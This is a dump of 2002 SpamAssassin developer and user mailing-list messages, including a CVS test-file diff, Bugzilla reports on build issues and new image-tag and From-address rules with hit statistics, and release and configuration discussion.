2002 06:20:35 -0700","[SACVS] CVS: spamassassin/t db_based_whitelist.t,1.7,1.8","Update of /cvsroot/spamassassin/spamassassin/t In directory usw-pr-cvs1:/tmp/cvs-serv4429/t Modified Files: db_based_whitelist.t db_based_whitelist_ips.t Log Message: fixed bug 1033: -R and -W were not respecting auto_whitelist_path Index: db_based_whitelist.t =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/t/db_based_whitelist.t,v retrieving revision 1.7 retrieving revision 1.8 diff -b -w -u -d -r1.7 -r1.8 --- db_based_whitelist.t 26 Sep 2002 17:15:04 -0000 1.7 +++ db_based_whitelist.t 2 Oct 2002 13:20:33 -0000 1.8 @@ -2,7 +2,7 @@ use lib '.'; use lib 't'; use SATest; sa_t_init(""db_based_whitelist""); -use Test; BEGIN { plan tests => 3 }; +use Test; BEGIN { plan tests => 8 }; # --------------------------------------------------------------------------- @@ -16,17 +16,17 @@ %patterns = %is_nonspam_patterns; $scr_test_args = ""-M Mail::SpamAssassin::DBBasedAddrList""; -sarun (""--remove-addr-from-whitelist whitelist_test\@whitelist.spamassassin.taint.org"", \&patterns_run_cb); +ok (sarun (""--remove-addr-from-whitelist whitelist_test\@whitelist.spamassassin.taint.org"", \&patterns_run_cb)); # 3 times, to get into the whitelist: -sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb); -sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb); -sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb); +ok (sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb)); +ok (sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb)); +ok (sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb)); # Now check ok (sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb)); ok_all_patterns(); %patterns = %is_spam_patterns; -sarun (""-L -a -t < data/spam/004"", \&patterns_run_cb); +ok (sarun (""-L -a -t < data/spam/004"", \&patterns_run_cb)); ok_all_patterns(); Index: db_based_whitelist_ips.t =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/t/db_based_whitelist_ips.t,v retrieving revision 1.2 retrieving revision 1.3 diff -b -w -u -d -r1.2 -r1.3 --- db_based_whitelist_ips.t 26 Sep 2002 17:15:04 -0000 1.2 +++ db_based_whitelist_ips.t 2 Oct 2002 13:20:33 -0000 1.3 @@ -2,7 +2,7 @@ use lib '.'; use lib 't'; use SATest; sa_t_init(""db_based_whitelist_ips""); -use Test; BEGIN { plan tests => 3 }; +use Test; BEGIN { plan tests => 8 }; # --------------------------------------------------------------------------- @@ -15,18 +15,18 @@ %patterns = %is_nonspam_patterns; -sarun (""--remove-addr-from-whitelist whitelist_test\@whitelist.spamassassin.taint.org"", \&patterns_run_cb); +ok (sarun (""--remove-addr-from-whitelist whitelist_test\@whitelist.spamassassin.taint.org"", \&patterns_run_cb)); # 3 times, to get into the whitelist: -sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb); -sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb); -sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb); +ok (sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb)); +ok (sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb)); +ok (sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb)); # Now check ok (sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb)); ok_all_patterns(); %patterns = %is_spam_patterns; -sarun (""-L -a -t < data/spam/007"", \&patterns_run_cb); +ok (sarun (""-L -a -t < data/spam/007"", \&patterns_run_cb)); ok_all_patterns(); ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-commits mailing list Spamassassin-commits@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-commits",0,1 yyyy@spamassassin.taint.org (Justin Mason),"""Malte S. Stretz"" ","Thu, 03 Oct 2002 21:23:04 +0100",Re: [SAtalk] 2.42: est release?,"Malte S. Stretz said: > 1046 is fixed. But what about > 1011 (add a notice about IRIX and -m to the docs), > 1031 (cygwin's EXE_EXT), > 1043 (a cosmetic but rather disturbing one ;-), all now fixed! > 1004 (TO_MALFORMED borken), WONTFIX ;) > 1006 (packaging related)? eh, will leave this for 2.50. ;) OK, if there's nothing moderately serious shown up tonight, I'll release it tomorrow AM (GMT). --j. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Duncan Findlay ,spamassassin-devel@example.sourceforge.net,"Thu, 3 Oct 2002 20:25:58 -0400",Re: [SAdev] Re: Web subscription for spamassassin package,"> eh? any reason why? wasn't causing any trouble for me, and > seems like a good idea. Because every time someone submitted a bug, they'd get a response saying ""Message is held for moderator because of implicit message destination"" or something like that. It annoyed users, it annoyed me, and Justin, you never actually got around to accepting the messages :-) -- Duncan Findlay ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Thu, 3 Oct 2002 13:26:08 -0700 (PDT)","[SAdev] [Bug 1049] Pathname for ""triplets.txt"" is incorrect.","http://www.hughes-family.org/bugzilla/show_bug.cgi?id=1049 felicity@kluge.net changed: What |Removed |Added ---------------------------------------------------------------------------- Status|NEW |RESOLVED Resolution| |FIXED ------- Additional Comments From felicity@kluge.net 2002-10-03 13:26 ------- Hmmm, my last message doesn't seem to have made it into bugzilla yet. I've committed a patch to fix this problem in both HEAD and b2_4_0. The last message explains what the problem was and what the patch does to fix it. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Thu, 3 Oct 2002 13:29:58 -0700 (PDT)",[SAdev] [Bug 1006] Spamassassin's build process makes packaging,"http://www.hughes-family.org/bugzilla/show_bug.cgi?id=1006 jm@jmason.org changed: What |Removed |Added ---------------------------------------------------------------------------- Status|NEW |ASSIGNED ------- Additional Comments From jm@jmason.org 2002-10-03 13:29 ------- 1. Use of $Config is gradually being removed, thankfully. I don't want to see any of that stuff in there if it acn be avoided, as different perl versions jsut vary so much in that stuff. 2. perl has no concept of where the rules could be -- unless they're in the perl libdir (/usr/lib/perl5/site_perl/5.x.x/foo). Perl does not know about the existence of /usr/share or /etc. Used to use /usr/lib/perl5 for storing rules, and it was actually *much worse* than it is now. So we need an out-of-band way to tell SA where to find this stuff. that's the problem! 3. try ""perl Makefile.PL < /dev/null"" to allow bots to build it. I think I might be missing some details of what you're peeved about, though... could you elaborate specifically? ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Thu, 3 Oct 2002 13:57:05 -0700 (PDT)",[SAdev] [Bug 1046] Errors from 'perl Makefile.PL',"http://www.hughes-family.org/bugzilla/show_bug.cgi?id=1046 ------- Additional Comments From spamassassin-contrib@msquadrat.de 2002-10-03 13:57 ------- > I've thought about this and PM_FILTER needs to die. I've now tried > multiple ways to make it just transparently work on 5.00503 and failed. > If anyone has any bright ideas please jump in. > > You see anyone upgrading from the CPAN shell will get a failure on the line: > > use ExtUtils::MakeMaker 5.45; Quite some modules from CPAN do have a line like this nowadays (I think or read so somewhere, respectively). And the Perl error message is very clear: ""ExtUtils::MakeMaker version 5.45 required--this is only version 5.4302 at Makefile.PL line 2."" > Because it never gets chance to reach a ""WriteMakefile"" line with a > PREREQ_PM => { ExtUtils::MakeMaker => 5.45 } option. So the CPAN shell > can't automatically upgrade this module. I cannot think of any way > around this. I could think of a solution: We could remove the ""use"" line and add the version to PREREQ_PM. After WriteMakefile() we could add the lines require ExtUtils::MakeMaker; ExtUtils::MakeMaker->VERSION(5.45); to do per hand what 'use ExtUtils::MakeMaker 5.45' does automagically; `perl Makefile.PL` will die with a ""Uncaught exception from user code: ExtUtils::MakeMaker version 5.45 required--this is only version 5.4302 at Makefile.PL line 103."" there but we've got a Makefile. But I don't know if CPAN will run the make anyway... > To add insult to injury, the PM_FILTER part gets run during pm_to_blib, > which would be fine, except ExtUtils::MakeMaker doesn't let you write a > MY::pm_to_blib - it's non-overridable! So even though we could > potentially copy the 5.45 ExtUtils::Install::pm_to_blib code somewhere > into the spamassassin codebase (I tried that first), we can't cause the > Makefile to call our code :-( We could call the preprocessor on install time. That's not a very clean approach but could work. We can also overwrite pm_to_blib in the Makefile directly per postamble. We already have a useless line ""pm_to_blib: spamassassin doc/.made"" there. Adding some commands in this section gives some make warnings (""Makefile:933: warning: overriding commands for target `pm_to_blib' Makefile:877: warning: ignoring old commands for target `pm_to_blib'"") but does work. Not a very good solution either. > So I'm *strongly* against the current use of ExtUtils::MakeMaker 5.45 > usage (if this were an Apache project this would be my veto vote), and > really hope we can find another way. The ""use MakeMaker::..."" error message is IMHO quite clear, so I think it's ok to require the user to do a manual update of ExtUtils::MakeMaker before the SA installation. But that's just my opinion ;-) I'll ask on makemaker@perl.org for the best solution. They should know. ------- You are receiving this mail because: ------- You are on the CC list for the bug, or are watching someone who is. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Thu, 3 Oct 2002 13:57:42 -0700 (PDT)",[SAdev] [Bug 1006] Spamassassin's build process makes packaging,"http://www.hughes-family.org/bugzilla/show_bug.cgi?id=1006 ------- Additional Comments From spamassassin-contrib@msquadrat.de 2002-10-03 13:57 ------- A solution could be the preprocessor in combination with PM_FILTER -- if we get the ExtUtils::MakeMaker versioning stuff right (see bug 1046). ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Thu, 3 Oct 2002 14:16:57 -0700 (PDT)",[SAdev] [Bug 960] COMMENT low-performing rule pruned,"http://www.hughes-family.org/bugzilla/show_bug.cgi?id=960 spamassassin-contrib@msquadrat.de changed: What |Removed |Added ---------------------------------------------------------------------------- Status|NEW |RESOLVED Resolution| |WONTFIX ------- Additional Comments From spamassassin-contrib@msquadrat.de 2002-10-03 14:16 ------- I think it's ok to close this one? Comment is a valid, albeit seldom used RFC 2822 header... ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Thu, 3 Oct 2002 14:17:36 -0700 (PDT)",[SAdev] [Bug 739] rules broken: RATWARE_*,"http://www.hughes-family.org/bugzilla/show_bug.cgi?id=739 spamassassin-contrib@msquadrat.de changed: What |Removed |Added ---------------------------------------------------------------------------- Status|NEW |RESOLVED Resolution| |WONTFIX ------- Additional Comments From spamassassin-contrib@msquadrat.de 2002-10-03 14:17 ------- Relieving Dan ;-) ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Thu, 3 Oct 2002 14:21:53 -0700 (PDT)",[SAdev] [Bug 779] rule broken: CORRUPT_MSGID,"http://www.hughes-family.org/bugzilla/show_bug.cgi?id=779 spamassassin-contrib@msquadrat.de changed: What |Removed |Added ---------------------------------------------------------------------------- Status|NEW |RESOLVED Resolution| |FIXED ------- Additional Comments From spamassassin-contrib@msquadrat.de 2002-10-03 14:21 ------- I think INVALID_MSGID does what this rule was supposed to do ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Thu, 3 Oct 2002 16:17:16 -0700 (PDT)",[SAdev] [Bug 1052] New: bondedsender.com is a scam,"http://www.hughes-family.org/bugzilla/show_bug.cgi?id=1052 Summary: bondedsender.com is a scam Product: Spamassassin Version: unspecified Platform: Other URL: http://www.bondedsender.com/ OS/Version: other Status: NEW Severity: normal Priority: P2 Component: Rules AssignedTo: spamassassin-devel@example.sourceforge.net ReportedBy: friedman+spamassassin@splode.com The default score for bondedsender-certified domains is -10, but I do not believe they should be trusted and encourage you to change the default. * I have been spammed by their customers. * There is no documentation on their website about how I can complain about this and have their customers financially penalized for sending me unsolicited mail. * What proof do any of us have that they really even do anything about it? Their contract is with their customers, not with us. This is a scam! Don't trust them! ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Thu, 3 Oct 2002 18:51:19 -0700 (PDT)",[SAdev] [Bug 1052] bondedsender.com is a scam,"http://www.hughes-family.org/bugzilla/show_bug.cgi?id=1052 ------- Additional Comments From rOD-spamassassin@arsecandle.org 2002-10-03 18:51 ------- Ignoring the conspiracy theories, can you supply examples of spam which was scored with RCVD_IN_BONDEDSENDER? The only mail I have received which scored this were from Amazon.com. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Thu, 3 Oct 2002 21:37:42 -0700 (PDT)",[SAdev] [Bug 1053] New: IMG tag based rules,"http://www.hughes-family.org/bugzilla/show_bug.cgi?id=1053 Summary: IMG tag based rules Product: Spamassassin Version: unspecified Platform: Other OS/Version: other Status: NEW Severity: enhancement Priority: P2 Component: Eval Tests AssignedTo: spamassassin-devel@example.sourceforge.net ReportedBy: matt@nightrealms.com Inspired by complaints about all-image or mostly-image spam that's getting by SA, I've cooked up three sets of rules that analyze the use of IMG tags in HTML: one that looks at the total area of all of the images in the message (T_HTML_IMAGE_AREA*), one that looks at the total number of images in the message (T_HTML_NUM_IMGS*), and one that looks at the longest total run of consecutive images (T_HTML_CONSEC_IMG*). =============== The total area of all images is rather easy to compute: inside of HTML::html_tests(), if an IMG tag has both the width and height properties, then multiply them together and add the result to the running total. OVERALL% SPAM% NONSPAM% S/O RANK SCORE NAME 15113 4797 10316 0.32 0.00 0.00 (all messages) 100.000 31.741 68.259 0.32 0.00 0.00 (all messages as %) 0.635 2.001 0.000 1.00 0.81 0.01 T_HTML_IMAGE_AREA14 0.417 1.313 0.000 1.00 0.78 0.01 T_HTML_IMAGE_AREA15 0.331 1.042 0.000 1.00 0.76 0.01 T_HTML_IMAGE_AREA07 0.245 0.771 0.000 1.00 0.74 0.01 T_HTML_IMAGE_AREA10 0.238 0.750 0.000 1.00 0.74 0.01 T_HTML_IMAGE_AREA02 0.225 0.709 0.000 1.00 0.74 0.01 T_HTML_IMAGE_AREA16 0.126 0.396 0.000 1.00 0.70 0.01 T_HTML_IMAGE_AREA18 0.119 0.375 0.000 1.00 0.70 0.01 T_HTML_IMAGE_AREA19 0.119 0.375 0.000 1.00 0.70 0.01 T_HTML_IMAGE_AREA17 1.125 3.523 0.010 1.00 0.68 0.01 T_HTML_IMAGE_AREA12 0.741 2.314 0.010 1.00 0.65 0.01 T_HTML_IMAGE_AREA13 1.542 4.732 0.058 0.99 0.58 0.01 T_HTML_IMAGE_AREA11 0.139 0.417 0.010 0.98 0.54 0.01 T_HTML_IMAGE_AREA08 0.483 1.397 0.058 0.96 0.50 0.01 T_HTML_IMAGE_AREA03 0.192 0.500 0.048 0.91 0.44 0.01 T_HTML_IMAGE_AREA06 0.820 1.834 0.349 0.84 0.39 0.01 T_HTML_IMAGE_AREA04 0.946 2.022 0.446 0.82 0.38 0.01 T_HTML_IMAGE_AREA01 0.569 0.896 0.417 0.68 0.32 0.01 T_HTML_IMAGE_AREA05 6.498 0.500 9.287 0.05 0.02 0.01 T_HTML_IMAGE_AREA09 Spam % of all rules with S/0 > 0.90: 20.615% ============================= The total number of IMG tags is really easy to do. 0.648 2.043 0.000 1.00 0.81 0.01 T_HTML_NUM_IMGS08 0.609 1.918 0.000 1.00 0.80 0.01 T_HTML_NUM_IMGS09 0.490 1.543 0.000 1.00 0.79 0.01 T_HTML_NUM_IMGS10 0.119 0.375 0.000 1.00 0.70 0.01 T_HTML_NUM_IMGS14 0.986 3.064 0.019 0.99 0.63 0.01 T_HTML_NUM_IMGS06 2.303 7.150 0.048 0.99 0.62 0.01 T_HTML_NUM_IMGS11 0.033 0.104 0.000 1.00 0.61 0.01 T_HTML_NUM_IMGS17 0.787 2.439 0.019 0.99 0.61 0.01 T_HTML_NUM_IMGS12 0.344 1.063 0.010 0.99 0.60 0.01 T_HTML_NUM_IMGS13 0.020 0.063 0.000 1.00 0.58 0.01 T_HTML_NUM_IMGS20 0.020 0.063 0.000 1.00 0.58 0.01 T_HTML_NUM_IMGS16 0.860 2.627 0.039 0.99 0.57 0.01 T_HTML_NUM_IMGS05 0.754 2.293 0.039 0.98 0.56 0.01 T_HTML_NUM_IMGS07 0.013 0.042 0.000 1.00 0.55 0.01 T_HTML_NUM_IMGS18 0.887 2.627 0.078 0.97 0.52 0.01 T_HTML_NUM_IMGS04 1.356 3.711 0.262 0.93 0.47 0.01 T_HTML_NUM_IMGS03 0.046 0.125 0.010 0.93 0.46 0.01 T_HTML_NUM_IMGS15 6.061 10.256 4.110 0.71 0.34 0.01 T_HTML_NUM_IMGS01 0.040 0.063 0.029 0.68 0.32 0.01 T_HTML_NUM_IMGS19 6.233 4.753 6.921 0.41 0.22 0.01 T_HTML_NUM_IMGS02 Spam % of all rules with S/O > 0.90: 31.25% ========================= I figured that spam that is made up of only images is going to only have IMG tags interspersed with table, paragraph and linebreak tags, and some whitespace, so there would be a lot of IMG tags with no plain text (non-whitespace) between them. So I defined consecutive IMG tags to be ones with no text between them, and looked at the longest run of consecutive IMGs within a message. This one seems to do pretty good, because in my non-spam corpus there's only a handful of messages with IMG runs larger than two. 0.450 1.418 0.000 1.00 0.78 0.01 T_HTML_CONSEC_IMGS06 0.232 0.730 0.000 1.00 0.74 0.01 T_HTML_CONSEC_IMGS08 0.205 0.646 0.000 1.00 0.73 0.01 T_HTML_CONSEC_IMGS11 1.813 5.691 0.010 1.00 0.71 0.01 T_HTML_CONSEC_IMGS02 1.019 3.189 0.010 1.00 0.67 0.01 T_HTML_CONSEC_IMGS03 0.768 2.397 0.010 1.00 0.66 0.01 T_HTML_CONSEC_IMGS05 0.053 0.167 0.000 1.00 0.64 0.01 T_HTML_CONSEC_IMGS12 1.006 3.127 0.019 0.99 0.63 0.01 T_HTML_CONSEC_IMGS04 0.483 1.501 0.010 0.99 0.62 0.01 T_HTML_CONSEC_IMGS07 0.020 0.063 0.000 1.00 0.58 0.01 T_HTML_CONSEC_IMGS13 0.020 0.063 0.000 1.00 0.58 0.01 T_HTML_CONSEC_IMGS15 1.032 3.148 0.048 0.98 0.57 0.01 T_HTML_CONSEC_IMGS10 0.199 0.605 0.010 0.98 0.57 0.01 T_HTML_CONSEC_IMGS09 0.013 0.042 0.000 1.00 0.55 0.01 T_HTML_CONSEC_IMGS17 0.013 0.042 0.000 1.00 0.55 0.01 T_HTML_CONSEC_IMGS19 0.007 0.021 0.000 1.00 0.51 0.01 T_HTML_CONSEC_IMGS14 7.080 7.484 6.892 0.52 0.26 0.01 T_HTML_CONSEC_IMGS01 0.000 0.000 0.000 0.00 0.00 0.01 T_HTML_CONSEC_IMGS16 0.000 0.000 0.000 0.00 0.00 0.01 T_HTML_CONSEC_IMGS18 Spam % of all rules with S/O > 0.90: 22.85% ========================== Next I'm going to see if there's any meta rules I can make that will reduce the FP rate for low S/O rules. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Thu, 3 Oct 2002 21:46:38 -0700 (PDT)",[SAdev] [Bug 1053] IMG tag based rules,"http://www.hughes-family.org/bugzilla/show_bug.cgi?id=1053 ------- Additional Comments From mgm@starlingtech.com 2002-10-03 21:46 ------- Looks great! One note: most ""image-only"" spam actually has some text (a few words at the top, a disclaimer at the end) so keep that in mind. The typical image spam that slips through SA seems to have a bit of text, one huge image, then a bit more. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Thu, 3 Oct 2002 21:51:06 -0700 (PDT)",[SAdev] [Bug 1054] New: Split up FROM_ENDS_IN_NUMS,"http://www.hughes-family.org/bugzilla/show_bug.cgi?id=1054 Summary: Split up FROM_ENDS_IN_NUMS Product: Spamassassin Version: unspecified Platform: Other OS/Version: other Status: NEW Severity: enhancement Priority: P2 Component: Rules AssignedTo: spamassassin-devel@example.sourceforge.net ReportedBy: matt@nightrealms.com The current FROM_ENDS_IN_NUMS triggers on any from where the user name ends in two or more digits. I think this should be split up into different numbers of trailing digits, so that rules with different S/O ratios can get different scores. So I've made test rules that look from From names that end with two, three, four, or five digitis, and one for six or more digitis; I also put in a test rule that looks for Froms that end in a single digit, just the sake of completeness. Here is what I got: OVERALL% SPAM% NONSPAM% S/O RANK SCORE NAME 15113 4797 10316 0.32 0.00 0.00 (all messages) 100.000 31.741 68.259 0.32 0.00 0.00 (all messages as %) 1.244 3.877 0.019 1.00 0.64 0.01 T_FROM_ENDS_IN_NUMS6 0.576 1.459 0.165 0.90 0.43 0.01 T_FROM_ENDS_IN_NUMS5 4.982 10.694 2.326 0.82 0.38 0.01 T_FROM_ENDS_IN_NUMS4 3.434 6.337 2.084 0.75 0.35 0.01 T_FROM_ENDS_IN_NUMS3 8.979 12.383 7.396 0.63 0.30 0.01 T_FROM_ENDS_IN_NUMS2 8.847 6.817 9.791 0.41 0.22 0.01 T_FROM_ENDS_IN_NUMS1 I should note that I get rather bad S/O's for FROM_ENDS_IN_NUMS, probably because so much of my corpus is made up of Yahoo! Groups traffic, which seems to have a lot of users that like sticking numbers at the ends of their names. Here is the normal stats for FROM_ENDS_IN_NUMS: 7.024 28.480 2.834 0.91 0.50 0.88 FROM_ENDS_IN_NUMS and my stats: 19.228 34.793 11.991 0.74 0.35 0.88 FROM_ENDS_IN_NUMS ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 Craig R Hughes ,Daniel Quinlan ,"Sat, 5 Oct 2002 01:12:23 -0700 (PDT)",Re: [SAdev] nightly mass-check and hit-frequencies,"Daniel Quinlan wrote: DQ> jm@jmason.org (Justin Mason) writes: DQ> DQ> > But I think rsync is key; it's very efficient bandwidth-wise, and it DQ> > allows you to select which ones you want just as well as wget would. DQ> > (Bandwidth is a much bigger issue for me and some other of the europeans DQ> > involved, than it would be for you guys ;) IMO it's by far the most DQ> > efficient and scriptable way to do this stuff, these days. DQ> DQ> It must be horrible being a dial-up user in 2002. If we can *automate* DQ> rsync submission with good *authentication*, it would be fine with me. DQ> The current rsync method is not sufficiently authenticated, though. I'll take a look at it. I'm sure there's got to be some reasonly easy way to have rsync carry itself over ssh and secure access using ssh keys. DQ> > I suggest we use the hughes-family.org server for rsyncing, as we do for DQ> > the corpus_submit stuff -- in a separate subdirectory, though! -- then DQ> > I'll take a look at getting a nightly hit-frequencies-collation system DQ> > going. Ok, I'll take a look at it. C",0,0 yyyy@spamassassin.taint.org (Justin Mason),Randy Bush ,"Sat, 05 Oct 2002 18:17:53 +0100",Re: [SAtalk] razor2 auth?,"Randy Bush said: > >> freebsd -stable > >> spamassassin 2.41 > >> spamasassin -r > >> results in > >> razor2 report failed: No such file or directory Razor2 reporting requires > authentication at /usr/local/lib/perl5/site_perl/5.005/Mail/SpamAssassin/Repo > rter.pm line 77. > >> used to work until upgrade > > > > using spamd? try the -H switch. > > no, pipinng the message to ""spamassassin -r"" from within my mail > user agent, VM under Emacs. oops, sorry -- didn't notice the ""report"" bit. Yes, you need to register for Razor2 -- ""razor-register"" or ""razor-admin -register"" if I recall correctly. --j.",0,0 Don Saklad ,"spamassassin-talk@example.sourceforge.net,","Mon, 07 Oct 2002 07:28:52 -0400",[SAtalk] emacs rmail How to sort subject lines and headers.,"In emacs rmail what varieties of different techniques are there for sorting your favorite correspondents from the mix?... leaving the hundreds of spam commercials. A filter for the campus computer system puts subject lines and headers on many of the hundreds of spam commercials with http://spamassassin.org ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 yyyy@spamassassin.taint.org (Justin Mason),"""Kenneth Nerhood"" ","Mon, 07 Oct 2002 20:18:15 +0100",Re: [SAtalk] Re: AWL bug in 2.42?,"Kenneth Nerhood said: > I too am seeing very weird things with 2.42 and AWL. I installed a > fresh system, and then ran a bunch of test spam through it (all from the > same user). All messages should have scored over 15. The AWL kept > adjusting them down so that after about 10 message I had a negative > score. I'm using spamc/d. That's exactly what is intended; the idea is that legit senders who habitually score just > 5, will eventually get out of ""AWL hell"" after 6-10 messages. Note that running a single spam through ""spamassassin -a -t"" *will* eventually whitelist the spammer. but that's why the man page tells you not to do it ;) --j. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Marc Perkel ,spamassassin-devel@example.sourceforge.net,"Thu, 22 Aug 2002 07:58:42 -0700",[SAdev] Party in San Francisco tonight,"I don't know how make of you are in the Bay Area but EFF is having a benifit party ast the DNA Lounge in San Francisco tonight. Wil Weaton (Wesley Crussher from star Trek TNG) will fight Barney the Dinasour. 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Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 """Craig R.Hughes"" ",yyyy@spamassassin.taint.org (Justin Mason),"Thu, 22 Aug 2002 11:28:13 -0700","Re: [SAdev] 2.40 RELEASE PROCESS: mass-check status, folks?","On Thursday, August 22, 2002, at 10:24 AM, Justin Mason wrote: > I plan to > > 1. figure out the freqs tonight, suggest what tests to drop > 2. wait for comments > 3. drop tests that nobody cares about tomorrow > 4. sed out the dropped tests from the mass-check logs This step is unneccesary -- unless you've changed the scripts much, any test in the logs which aren't in the rules files will just be ignored I think. You do seem to have changed the logs-to-c script and removed the bit where you could specify immutable tests at the top -- I took a brief glance through the code and couldn't fully make out how it had changed. I think we want to be able to specify immutable test scores though in there somewhere -- or is that now handled by the tflags stuff? For the last couple releases, any test which occurred infrequently (by thumb-in-the-wind subjective criteria) I set to have immutable scores, as well as a handful of other rules. > 5. kick off the GA > > 